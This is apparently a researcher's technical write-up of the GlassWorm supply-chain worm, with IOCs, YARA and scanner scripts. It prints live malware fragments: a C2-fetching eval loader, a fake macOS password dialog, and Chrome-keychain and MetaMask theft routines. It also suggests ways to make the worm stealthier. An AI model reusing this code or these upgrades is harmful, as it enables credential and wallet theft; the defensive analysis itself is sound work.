Skip to contentDaniel Fragomeli - Home
17

GlassWorm — The Supply Chain Worm You Cannot See, Cannot Sinkhole, and Cannot Stop Propagating

A deep technical dive into the first self-propagating IDE worm, its Solana blockchain C2, multi-stage encrypted payload chain, and macOS stealer module.

GlassWorm is not your typical infostealer delivered via a phishing PDF. It is a self-replicating worm that hijacks legitimate developer tools, uses the Solana blockchain as an unkillable C2 channel, and deploys a fully functional macOS credential and wallet stealer without writing a single stage payload to disk. Since October 2025 it has compromised 433+ components and touched over nine million installs.

GlassWorm network threat visualization

Five waves, five months, one operator

GlassWorm did not appear fully formed. Koi Security's initial discovery in October 2025 captured what turned out to be only the first of five distinct campaign waves, each demonstrating rapid technical adaptation in response to detection and takedown. Reading the timeline as a whole reveals an operator who is watching detections in real time and pivoting fast.

Wave 1 — Initial Discovery (Oct 17, 2025)

Seven OpenVSX extensions compromised, 35,800+ downloads. Invisible Unicode variation selectors (U+FE00–U+FE0F) used to embed executable JavaScript invisible to human code review. Windows-only targeting. Solana wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC used as primary C2 dead-drop. Google Calendar used as fallback C2.

Wave 2 — First Known Victims (Nov 6, 2025)

Three additional OpenVSX extensions compromised (~10,000 downloads). A Middle Eastern government entity identified as a confirmed victim. Infrastructure unchanged; operator monitors takedowns but has not yet rotated.

Wave 3 — Compiled Rust Pivot (Nov 22, 2025)

Payload language switches from JavaScript to compiled Rust binaries, dramatically increasing reverse engineering difficulty. C2 infrastructure rotates to 45.32.151.157 (Vultr AS20473). Solana wallet rotated to secondary address.

Wave 4 — macOS Pivot + Full Stealer (Dec 19, 2025)

First exclusively macOS-targeting wave. 50,000+ downloads across three extensions. Switches back to JavaScript but now AES-256-CBC encrypted, key delivered dynamically via HTTP response headers. Introduces AppleScript credential dialog, LaunchAgent persistence, Keychain theft, browser stealer, 49+ wallet extension IDs, and hardware wallet trojanization (Ledger, Trezor). 15-minute execution delay added for sandbox evasion.

Wave 5 — Mass Platform Compromise (Jan–Mar 2026)

Simultaneous multi-platform assault: 72 OpenVSX extensions via transitive loader chains, 151+ GitHub repos (including Wasmer), Python repo mass compromise via ForceMemo force-push technique, and npm packages react-native-country-select and react-native-international-phone-number hijacked (134,887 monthly downloads). AI-generated commit messages used for camouflage.

Blockchain as C2 — why it cannot be taken down

The defining technical innovation in GlassWorm is the use of the Solana blockchain as a dead-drop resolver for its command-and-control channel. Understanding why this is so dangerous requires understanding what traditional C2 infrastructure looks like and what defenders normally do to disrupt it.

In a conventional campaign, the malware reaches back to a hardcoded IP address or domain. Defenders identify that IP, contact the hosting provider or registrar, and the server disappears. With domain generation algorithms (DGAs) it is harder — the malware generates domain names from a seed, making prediction possible but requiring the attacker to register many domains. Blockchain C2 eliminates both weaknesses entirely. The Solana transaction ledger is immutable, globally replicated, and operated by thousands of independent validators. There is no hosting provider to call. There is no registrar to pressure. The data is simply there, permanently.

What the actual Stage 1 code does

The following is the real Stage 1 code from the sample, lightly annotated. It implements the Solana dead-drop polling loop with 10-second retry intervals, a 10-second initial delay for sandbox evasion, and the Russia/CIS evasion check before doing anything at all.

// Polls Solana until a transaction with a memo field appears.
// The memo contains a base64-encoded URL pointing to the real C2.
async function _getSignFAddress(publicKey, options = {}) {
  let limit = options.limit || 1000;
  let endpoints = [          // 9 fallback RPC endpoints
    "https://api.mainnet-beta.solana.com",
    "https://solana-mainnet.gateway.tatum.io",
    "https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
    // ... 6 more endpoints ...
  ];
  for (let endpoint of endpoints) {
    try {
      let resp = await fetch(endpoint, {
        method: "POST",
        body: JSON.stringify({
          jsonrpc: "2.0", id: 1,
          method: "getSignaturesForAddress",
          params: [publicKey.toString(), { limit }]
        })
      });
      return (await resp.json()).result;
    } catch { continue; }
  }
}
 
function fvzsrnzlh() {          // obfuscated name; resolves C2 URL
  return new Promise(async (resolve) => {
    let memo = null;
    while (!memo) {
      let sigs = await _getSignFAddress(
        "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC",  // hardcoded wallet
        { limit: 1000 }
      );
      memo = sigs.filter(x => x?.memo)[0].memo;
      await new Promise(r => setTimeout(r, 10000)); // 10s retry
    }
    let result = memo.replace(/\[\d+\]\s*/, ""); // strip [index] prefix
    resolve(JSON.parse(result));
  });
}
 
// 10-second startup delay (sandbox runs expire before this triggers)
new Promise(r => setTimeout(r, 10000)).then(() => {
  if (_isRussianSystem()) return; // CIS evasion check
 
  // Check ~/init.json — re-execute only if 48h have passed
  let _path = path.join(os.homedir(), "init.json");
  if (fs.existsSync(_path)) {
    let check = JSON.parse(fs.readFileSync(_path));
    if (!(check.date + 2*24*60*60*1000 < Date.now())) return;
  }
  // Write marker, resolve C2, fetch and execute stage2 payload
  fvzsrnzlh().then((_data) => {
    scyzzvvy(atob(_data.link), (err, { uezupbxi, ypbtv, secretKey }) => {
      // uezupbxi = ciphertext body, ypbtv = IV (base64), secretKey from header
      let _iv = Buffer.from(ypbtv, "base64");
      eval(atob(uezupbxi)); // macOS: decrypt inline and eval (never written to disk)
    });
  });
});

Reproduce it: querying a Solana wallet's transaction memos

The following snippet reproduces exactly what GlassWorm does in its C2 resolution phase. You can run it safely against the known attacker wallet to observe the historical memos — the blockchain preserves them forever, making this a permanent artifact useful for threat hunting. This is purely read-only; it issues no write transactions and touches no attacker infrastructure other than a public Solana API endpoint.

// Fetch all transaction memos from the known GlassWorm C2 wallet
// Run with: node glassworm_hunt.js
 
const WALLET = "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC";
const RPC    = "https://api.mainnet-beta.solana.com";
 
async function getC2Memos() {
  const res = await fetch(RPC, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
      jsonrpc: "2.0", id: 1,
      method: "getSignaturesForAddress",
      params: [WALLET, { limit: 1000 }]
    })
  });
  const { result } = await res.json();
 
  const memos = result
    .filter(tx => tx.memo)
    .map(tx => ({
      sig:  tx.signature.slice(0,20) + "...",
      slot: tx.slot,
      raw:  tx.memo,
      // strip [N] index prefix, parse as JSON, extract C2 link
      parsed: (() => {
        try {
          const clean = tx.memo.replace(/\[\d+\]\s*/, "");
          const obj   = JSON.parse(clean);
          return Buffer.from(obj.link, "base64").toString("utf8");
        } catch { return "(not parseable)"; }
      })()
    }));
 
  console.table(memos);
  return memos;
}
 
getC2Memos();

Historical blockchain context: GlassWorm is not the first to use blockchains as C2. Glupteba used Bitcoin's OP_RETURN field for AES-encrypted domain updates. DPRK's JADESNOW and EtherHiding used Ethereum smart contracts. But GlassWorm is the most mature Solana-based implementation, and it added the key rotation mechanism that prior campaigns lacked: the operator posts a new transaction to update the C2 URL without touching the malware.

The payload you cannot see in your editor

Wave 1 and Wave 2 used a technique that bypasses every human code review process: embedding executable JavaScript inside invisible Unicode variation selector codepoints. These are characters with zero visual width that are typically used to select between alternate visual forms of emoji and CJK characters. They render as absolutely nothing in VS Code, GitHub's web UI, and most terminal environments.

The encoding scheme maps each byte of the payload to a pair of variation selectors in the range U+FE00 through U+FE0F (16 selectors) or the extended range U+E0100 through U+E01EF (240 selectors). A 4KB payload becomes ~8KB of invisible characters inserted at the end of what appears to be a completely normal JavaScript function.

Source code under UV light revealing hidden invisible Unicode payload

import sys, re
from pathlib import Path
 
# Variation selector ranges used by GlassWorm
VS_RANGE_1 = (0xFE00, 0xFE0F)   # VS1–VS16
VS_RANGE_2 = (0xE0100, 0xE01EF) # VS17–VS256 (extended)
 
def count_invisible_vs(text: str) -> int:
    """Return the count of invisible variation selector codepoints."""
    count = 0
    for ch in text:
        cp = ord(ch)
        if VS_RANGE_1[0] <= cp <= VS_RANGE_1[1]:
            count += 1
        elif VS_RANGE_2[0] <= cp <= VS_RANGE_2[1]:
            count += 1
    return count
 
def decode_vs_payload(text: str) -> bytes:
    """Attempt to decode a variation-selector-encoded payload."""
    selectors = []
    for ch in text:
        cp = ord(ch)
        if VS_RANGE_1[0] <= cp <= VS_RANGE_1[1]:
            selectors.append(cp - VS_RANGE_1[0])  # 0–15
        elif VS_RANGE_2[0] <= cp <= VS_RANGE_2[1]:
            selectors.append(cp - VS_RANGE_2[0] + 16)  # 16–255
    # Pairs of nibbles form bytes
    if len(selectors) % 2 != 0:
        return b""
    payload = bytearray()
    for i in range(0, len(selectors), 2):
        payload.append((selectors[i] << 4) | selectors[i+1])
    return bytes(payload)
 
def scan_file(path: Path):
    text = path.read_text(encoding="utf-8", errors="replace")
    count = count_invisible_vs(text)
    if count > 10:  # threshold: legitimate use is near zero
        print(f"[ALERT] {path}: {count} invisible variation selectors")
        decoded = decode_vs_payload(text)
        if decoded:
            print("  Decoded payload preview:", decoded[:120])
 
if __name__ == "__main__":
    target = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(".")
    for f in target.rglob("*.js"):
        scan_file(f)

The macOS stealer module: anatomy of a full compromise

Wave 4 introduced a complete macOS credential and cryptocurrency theft module. What makes it notable is not any single technique — most are shared with the broader Russian-origin macOS stealer ecosystem — but the combination: it steals credentials, browser sessions, wallet data, and hardware wallet apps in a single run, then transmits a zip archive to the C2 server with retry logic before cleaning up all traces.

macOS stealer data exfiltration diagram

The fake password dialog — annotated

This is the real AppleScript password prompt logic from the glassworm.js bundle, extracted from the decoded eval payload. Notice that it validates the captured password via dscl . authonly and, if correct, saves it to the macOS Keychain under the key pass_users_for_script for persistence — meaning on future runs the dialog never appears again, since the password can be retrieved silently.

on getpwd(username, writemind)
  -- First: try to recover cached password from Keychain (silent on repeat runs)
  set keychainPassword to getPasswordFromKeychain()
  if keychainPassword is not "" then
    if checkvalid(username, keychainPassword) then
      writeText(keychainPassword, writemind & "pwd")
      return keychainPassword  -- exits silently on subsequent runs
    end if
  end if
 
  -- If account has no password at all, extract Chrome master password instead
  if checkvalid(username, "") then
    set result to do shell script
      "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
    writeText(result as string, writemind & "masterpass-chrome")
    return ""
  end if
 
  -- Otherwise: show the fake dialog in a loop until correct password entered
  repeat
    set result to display dialog
      "Required Application Helper. Please enter password for continue."
      default answer ""
      with icon caution
      buttons {"Continue"}
      default button "Continue"
      giving up after 150
      with title "Application wants to install helper"
      with hidden answer   -- renders as a password field
    set password_entered to text returned of result
    -- Validate via dscl (this is macOS's own authentication mechanism)
    if checkvalid(username, password_entered) then
      savePasswordToKeychain(password_entered)  -- cache for future silent runs
      writeText(password_entered, writemind & "pwd")
      return password_entered
    end if
  end repeat
end getpwd
 
-- Validation subroutine — uses macOS's own directory service
on checkvalid(username, password_entered)
  try
    do shell script "dscl . authonly " &
      quoted form of username & " " &
      quoted form of password_entered
    return true
  on error
    return false
  end try
end checkvalid

The CIS evasion check — full implementation

The _isRussianSystem() function is a standard criminal OPSEC measure common across the Russian-origin stealer ecosystem. It checks language environment variables, the system timezone, and the UTC offset. The logic is deliberately broad — any of the following conditions being true alongside a timezone check will cause the malware to exit silently.

function _isRussianSystem() {
  // Check language env vars for Russian locale markers
  const isRussianLang = [
    os.userInfo().username,
    process.env.LANG,
    process.env.LANGUAGE,
    process.env.LC_ALL,
    Intl.DateTimeFormat().resolvedOptions().locale
  ].some(info => info && /ru_RU|ru-RU|Russian|russian/i.test(info));
 
  // Check timezone — covers all 11 Russian timezone regions
  const russianTZs = [
    "Europe/Moscow", "Europe/Kaliningrad", "Europe/Samara",
    "Asia/Yekaterinburg", "Asia/Omsk", "Asia/Krasnoyarsk",
    "Asia/Irkutsk", "Asia/Yakutsk", "Asia/Vladivostok",
    "Asia/Magadan", "Asia/Kamchatka", "Asia/Anadyr", "MSK"
  ];
  const tzInfo = [
    Intl.DateTimeFormat().resolvedOptions().timeZone,
    new Date().toString()
  ];
  const isRussianTZ = tzInfo.some(info =>
    info && russianTZs.some(tz => info.toLowerCase().includes(tz.toLowerCase()))
  );
 
  // UTC +2 to +12 covers Russia + most CIS countries
  const utcOffset   = -new Date().getTimezoneOffset() / 60;
  const isRussianOff = utcOffset >= 2 && utcOffset <= 12;
 
  // Both language AND (timezone OR offset) must be true to exit
  return isRussianLang && (isRussianTZ || isRussianOff);
}

Red Team Note: To test this in a controlled environment, you can bypass the check by setting LANG=en_US.UTF-8 and ensuring the system timezone is not in the Russian list before running the payload in an isolated sandbox. The check is purely informational from a defense perspective — it tells you the operator is based in or aligned with the Russian-speaking criminal underground.

Wallet stealer: MetaMask Firefox UUID extraction

One of the more technically precise elements of the stealer is how it locates the MetaMask extension storage directory in Firefox. Rather than guessing the path, it parses the Firefox prefs.js file to extract the extension's internal UUID (which Firefox assigns randomly per installation), then navigates directly to the corresponding storage/default/ folder.

on GetUUID(pather, searchString)
  -- Reads Firefox prefs.js and extracts the UUID for a given extension
  -- searchString = "webextension@metamask.io\":"  (trailing chars are UUID start)
  try
    set fileContents to read POSIX file pather
    set startPos    to offset of searchString in fileContents
    if startPos is 0 then return "not found"
    set uuidStart   to startPos + (length of searchString)
    set uuid        to text uuidStart thru (uuidStart + 55) of fileContents
    set endpos      to offset of "\\" in uuid
    return text uuidStart thru (uuidStart + endpos - 2) of fileContents
  on error
    return "not found"
  end try
end GetUUID
 
on firewallets(firepath, writemind, profile)
  -- fire_wallets pairs: {display name, prefs.js search anchor}
  set fire_wallets to {{"MetaMask", "webextension@metamask.io\":\""}}
  repeat with wallet in fire_wallets
    set uuid to GetUUID(firepath & "/prefs.js", item 2 of wallet)
    if uuid is not "not found" then
      -- Walk storage/default/, find the folder containing the UUID, copy its idb/
      set walkpath to firepath & "/storage/default/"
      repeat with item in (list folder walkpath without invisibles)
        if item contains uuid then
          GrabFolder(walkpath & item & "/idb/",
                     writemind & "ffwallets/MetaMask_" & profile & "/")
        end if
      end repeat
    end if
  end repeat
end firewallets

Campaign statistics by wave

Each wave of GlassWorm targeted different ecosystems and used distinct techniques.

WavePeriodTargetComponentsDownloadsKey Technique
1Oct 2025OpenVSX (Windows)7 extensions35.8KInvisible Unicode variation selectors
2Nov 2025OpenVSX3 extensions~10KSame as Wave 1, gov victim confirmed
3Nov 2025OpenVSXRust binaries, new C2 IP
4Dec 2025macOS3 extensions50K+AES-256-CBC, full stealer module
5Jan–Mar 2026Multi-platform433+ total9M+ installsTransitive loaders, npm hijack, ForceMemo

Indicators of compromise

The following IOCs are drawn from confirmed public reporting by Koi Security, Socket, Endor Labs, and Aikido Security. Infrastructure IPs rotate between waves; behavioral indicators are more durable for detection purposes.

Network infrastructure

IndicatorRoleWaveConfidence
45.32.151.157Primary C2 / payload server3–4Confirmed
45.32.150.251Payload delivery (/p2p, /get_arhive_npm)4+Confirmed
217.69.11.60C2 (Solana tx Nov 27, 2025)4Confirmed
217.69.11.99Likely dropper/install infra (same /24)4+High
208.76.223.59P2P exfil endpointSampleSample-confirmed
70.34.242.255Wave 5 C25Confirmed
217.69.3.152React Native payload delivery5Confirmed

Solana wallets (attacker-controlled)

AddressRole
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SCPrimary C2 dead-drop wallet (active from Nov 27, 2025)
6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJSleeper extension wallet
E9vf42zJXFv8Ljop1cG68NAxLDat4ZEGEWDLfJVX38GFFunding/operational wallet

File system and persistence

Path / ArtifactDescription
~/Library/LaunchAgents/com.user.nodestart.plistmacOS persistence LaunchAgent
~/.config/system/.data/.nodejs/node-v23.5.0-darwin-x64/Bundled Node.js runtime (stealth install)
~/init.jsonExecution marker (48-hour re-execution gate)
/tmp/ijewf/macOS staging directory for collected data
/tmp/out.zipExfiltration archive (deleted post-send)
%APPDATA%\_node_x86 / _node_x64Windows Node.js staging

AES cryptographic material (Stage 0)

MaterialValue
AES-256-CBC KeywDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz
AES-256-CBC IVdfc1fefb224b2a757b7d3d97a93a1db9
Stage 2 key deliveryDynamic — HTTP response header "secretkey" + "ivbase64" (never on disk)

Detection: behavioral beats indicators every time

Indicator-based detection (IP blocklists, file hashes) is largely futile against GlassWorm because infrastructure and payload hashes rotate with each wave. Behavioral detection — looking for the actions the malware takes regardless of how it is packaged — is far more durable.

YARA rule: detect Solana blockchain C2 pattern

rule GlassWorm_Solana_C2 {
  meta:
    author      = "danielfragomeli.com"
    description = "Detects GlassWorm Solana blockchain C2 dead-drop pattern"
    reference   = "https://danielfragomeli.com/glassworm"
    date        = "2026-03-25"
    severity    = "critical"

  strings:
    // Core Solana C2 method
    $s1 = "getSignaturesForAddress" ascii

    // Known C2 wallet addresses
    $w1 = "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC" ascii
    $w2 = "6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ" ascii

    // Dynamic key delivery via HTTP headers pattern
    $h1 = "ivbase64" ascii
    $h2 = "secretkey" ascii
    $h3 = "aes-256-cbc" nocase ascii

    // CIS evasion function name (sample-derived)
    $f1 = "_isRussianSystem" ascii

    // Solana RPC fallback chain (two endpoints sufficient)
    $r1 = "api.mainnet-beta.solana.com" ascii
    $r2 = "solana-mainnet.gateway.tatum.io" ascii

    // Marker file used for 48h re-execution gate
    $m1 = "init.json" ascii

  condition:
    // Wallet address OR (Solana method + header-key delivery) OR (CIS evasion + RPC)
    1 of ($w1, $w2) or
    ($s1 and $h1 and $h3) or
    ($f1 and 1 of ($r1, $r2))
}

Shell one-liner: scan a VSCode extensions directory

# Scan VSCode extensions for GlassWorm IOCs
# Run from: ~/.vscode/extensions  or  ~/.cursor/extensions
 
scan_dir=${1:-~/.vscode/extensions}
 
echo "[*] Scanning ${scan_dir} for GlassWorm indicators..."
 
# 1. Detect invisible Unicode variation selectors
grep -rlP '[\xef\xb8\x80-\xef\xb8\x8f]|\xf3\xa0\x84[\x80-\xaf]' \
  "${scan_dir}" --include='*.js' 2>/dev/null | \
  while read f; do echo "[UNICODE] $f"; done
 
# 2. Detect Solana wallet address pattern
grep -rl "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC\|6YGcuyFRJ" \
  "${scan_dir}" 2>/dev/null | \
  while read f; do echo "[WALLET] $f"; done
 
# 3. Check for LaunchAgent persistence
plist=~/Library/LaunchAgents/com.user.nodestart.plist
[[ -f "${plist}" ]] && echo "[PERSIST] LaunchAgent found: ${plist}"
 
# 4. Check for hidden Node.js runtime
[[ -d ~/.config/system/.data/.nodejs ]] && \
  echo "[PERSIST] Hidden Node.js runtime: ~/.config/system/.data/.nodejs"
 
# 5. Check for execution marker
[[ -f ~/init.json ]] && echo "[MARKER] init.json found: $(cat ~/init.json)"
 
echo "[*] Scan complete."

Detection resources: Afine's open-source glassworm-hunter Python scanner implements 14 detection rules with IOC database (21 extensions, 4 npm packages, 14 C2 IPs, 3 Solana wallets) and outputs SARIF/JSON for CI/CD integration. Knostic released dedicated YARA signatures covering all five waves. Trail of Bits' vsix-audit includes GlassWorm IOCs in its YARA-X engine. The GitHub repo unic/glassworm-detect provides a Bash script for VSCode environments specifically.

What a more advanced version could do

GlassWorm is already sophisticated, but analyzing what it does not do — and why those gaps exist — is instructive for anticipating future evolution.

The AES key is still static in Stage 0

The hardcoded key wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz in Stage 0 is a significant detection surface. A more sophisticated implementation would use a key exchange protocol at startup — for example, an X25519 ECDH handshake where the Stage 0 loader sends an ephemeral public key and receives the Stage 1 key encrypted to that public key. This would make every infection instance produce a unique key and would defeat static analysis entirely.

No anti-forensic memory erasure

The payload executes via eval(atob(...)) which means the decrypted payload exists in V8's heap. A memory forensics analyst can dump the process and recover the plaintext Stage 2 payload. A more advanced implementation would decrypt the payload, execute it, and then zero out the buffer immediately — feasible in Node.js via Buffer.fill(0) after execution. In practice this is difficult to do perfectly in JavaScript given garbage collection behavior, but the attempt alone would significantly increase analysis difficulty.

The exfiltration method is noisy

Sending a curl POST of a zip archive to a known IP is detectable by any network-level monitoring tool. A more sophisticated exfiltration channel would use DNS tunneling, HTTPS to a domain that fronts through a CDN provider, or — continuing the blockchain theme — encode stolen data as Solana transaction data back to an attacker-controlled wallet. The latter would be extremely difficult to block without blocking Solana RPC access entirely.

Worm propagation is credential-dependent

The Wave 5 self-propagation relied on stolen GitHub tokens and npm credentials extracted from victim machines. This is effective but requires an initial victim with repository write access. A purely network-propagating variant could instead scan for exposed package registry tokens in CI/CD environments, environment variables, or .npmrc files — dramatically expanding propagation reach without depending on specific victim profiles.

GlassWorm architecture diagram

Conclusions

GlassWorm represents a genuine step change in supply chain attack sophistication for three reasons that compound each other. The self-propagating worm mechanic means each victim expands the attacker's reach without additional effort. The Solana blockchain C2 means infrastructure takedowns are permanently ineffective. The multi-wave adaptation over five months demonstrates an operator who is actively monitoring detection efforts and engineering countermeasures in near real-time.

The macOS stealer module is technically unremarkable by the standards of the AMOS/Banshee ecosystem it clearly draws from — but its delivery mechanism is what makes it dangerous. By injecting into a trusted VS Code extension or npm package, the malware executes in an environment where the victim has already decided to trust the code. No phishing click, no download prompt, no suspicious binary. Just a npm install or an automatic extension update.

For defenders, the actionable takeaways are: scan VSCode extension directories for invisible Unicode with a tool like glassworm-hunter, monitor for unexpected LaunchAgent creation and hidden Node.js installations on macOS endpoints, add Solana RPC endpoint requests to anomaly detection rules (developers have legitimate reasons to query Solana, but the combination of RPC query plus subsequent eval plus file system activity is highly suspicious), and treat init.json in home directories as a potential infection marker.

The campaign is ongoing. Infrastructure and payloads will continue to rotate. IOCs age fast. Behavior does not.